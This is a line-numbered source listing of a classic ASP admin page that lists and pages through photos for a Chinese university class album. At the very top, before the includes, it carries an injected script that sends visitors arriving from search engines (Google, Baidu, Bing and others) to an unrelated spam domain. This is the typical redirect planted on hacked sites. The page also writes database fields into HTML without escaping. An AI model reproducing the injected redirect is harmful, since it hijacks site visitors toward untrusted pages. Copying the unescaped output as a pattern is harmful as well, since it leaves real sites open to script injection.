d:\wwwroot\wuchunhua\admin\photo.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!-- #include file="chk.asp" -->
002:
<!-- #include file="conn.asp" -->
003:
<%
004:
dim rs
005:
dim sql
006:
msg_per_page = 20
007:
set rs = server.createobject("adodb.recordset")
008:
sql="select * from photo order by time DESC"
009:
rs.cursorlocation = 3
010:
011:
rs.pagesize = msg_per_page
012:
rs.open sql,conn,0,1
013:
%
>
014:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
015:
"http://www.w3.org/TR/html4/loose.dtd">
016:
<html>
017:
<head>
018:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
019:
<link href="../css.css" rel="stylesheet" type="text/css">
020:
<title> 中山大学 管理学院 05工商管理B --相册</title>
021:
<style type="text/css">
022:
<!--
023:
.style3 {font-size: 1pt;
024:
color: #FFFFFF;
025:
}
026:
.ziti {font-family: "宋体";
027:
font-size: 12px;
028:
font-weight: bold;
029:
color: #FFFFFF;
030:
}
031:
.ziti1 {font-size: 12px;
032:
font-weight: normal;
033:
color: #000000;
034:
}
035:
.ziti2 {font-family: "宋体";
036:
font-size: 12px;
037:
font-weight: bold;
038:
color: #FFFFFF;
039:
}
040:
.ziti2 { font-family: "宋体";
041:
font-size: 12px;
042:
font-weight: normal;
043:
color: #000000;
044:
}
045:
.ziti3 {
046:
font-family: "宋体";
047:
font-size: 14px;
048:
font-weight: normal;
049:
color: #000000;
050:
}
051:
-->
052:
</style>
053:
</head>
054:
055:
<body>
056:
<table width="775" border="0" align="center" cellpadding="0" cellspacing="0">
057:
<tr>
058:
<th scope="col"><table width="775" border="0" cellspacing="0" cellpadding="0">
059:
<tr>
060:
<td height="2"><span class="style3">1</span></td>
061:
</tr>
062:
</table></th>
063:
</tr>
064:
<tr>
065:
<td height="227" align="center" valign="top" class="style3"> 1
066:
<table border="0" style="border-collapse: collapse" bordercolor="#FFFFFF" width="100%" id="AutoNumber1" bgcolor="#BFC1AE" cellspacing="1">
067:
<tr>
068:
<td><p align="left"><font class=ziti2>
069:
<a href="../photo/uploadimg.asp"><font color="#000000">【 上传照片 】</font></a></font></td>
070:
</tr>
071:
<%
072:
if err.number<>0 then
073:
response.write "数据库操作失败:" & err.description
074:
err.clear
075:
else
076:
if not (rs.eof and rs.bof) then
077:
totalrec = RS.RecordCount
078:
if rs.recordcount mod msg_per_page = 0 then
079:
n = rs.recordcount\msg_per_page
080:
else
081:
n = rs.recordcount\msg_per_page+1
082:
end if
083:
084:
currentpage = request("page")
085:
If currentpage <> "" then
086:
currentpage = cint(currentpage)
087:
if currentpage < 1 then
088:
currentpage = 1
089:
end if
090:
if err.number <> 0 then
091:
err.clear
092:
currentpage = 1
093:
end if
094:
else
095:
currentpage = 1
096:
End if
097:
if currentpage*msg_per_page > totalrec and not((currentpage-1)*msg_per_page < totalrec)then
098:
currentPage=1
099:
end if
100:
rs.absolutepage = currentpage
101:
rowcount = rs.pagesize
102:
%
>
103:
<%
104:
dim r
105:
dim j
106:
dim k
107:
r=0
108:
while not rs.eof and rowcount > 0
109:
if r mod 5=0 then
110:
row="<tr>"
111:
else
112:
row=" "
113:
end if
114:
r=r+1
115:
response.write(row)
116:
response.write("<td width=100 class=ziti2 align=center>" & "<a target=_blank href=../photo/photoview.asp?id=" & rs("id") & "><img width=80 height=60 border=0 src=../photo/uploadimg/" & rs("url") & "></a><p>")
117:
response.write("上传人:<a target=_blank href=../zlx/zlx2.asp?id=" & rs("name") & "><font color=#000000>" & rs("name") & "</font></a><br>")
118:
response.write(rs("time") & "<br>")
119:
Response.Write "<a href=photo_del.asp?id=" & rs("id") & "><font color=red>删除这张照片</font></a><br>"
120:
rowcount=rowcount-1
121:
rs.MoveNext
122:
wend
123:
end if
124:
end if
125:
rs.close
126:
set rs=nothing
127:
conn.close
128:
set conn=nothing
129:
%
>
130:
</table></td>
131:
</tr>
132:
<tr>
133:
<td height="20" class="ziti1">
134:
<table border="0" align="center">
135:
<tr>
136:
<td align="center" valign="middle" class="ziti1">
137:
<%
call listPages()
%
>
138:
</td>
139:
</tr>
140:
</table>
141:
<span class="ziti1">
142:
<%
143:
sub listPages()
144:
for i=0 to n\msg_per_page-1
145:
for j=1 to msg_per_page
146:
%
>
147:
<b>
148:
<a href="
<%
=request.ServerVariables("script_name")
%
>?page=
<%
=i*msg_per_page+j
%
>">
149:
<font color="#000000" class="ziti1">[
150:
<%
=i*msg_per_page+j
%
>
151:
]</font></a></b></font>
152:
<%
153:
next
154:
next
155:
EndPage = n mod msg_per_page
156:
for j=1 to EndPage
157:
%
>
158:
<b>
159:
<a href="
<%
=request.ServerVariables("script_name")
%
>?page=
<%
=i*msg_per_page+j
%
>">
160:
<font color="#000000" class="ziti1">[
161:
<%
=i*msg_per_page+j
%
>
162:
]</font></a></b>
163:
<%
next
%
>
164:
<br>
165:
<b>
166:
<font size="2" class="ziti1">当前页:
<%
=currentpage
%
>/
<%
=n
%
>总页数
<%
=msg_per_page
%
>张照片/页 总照片数:
<%
=totalrec
%
>张</font></b><font size="2">
167:
<%
end sub
%
>
168:
</font></span>
169:
170:
</td>
171:
</tr>
172:
</table>
173:
</body>
174:
</html>
175:
176: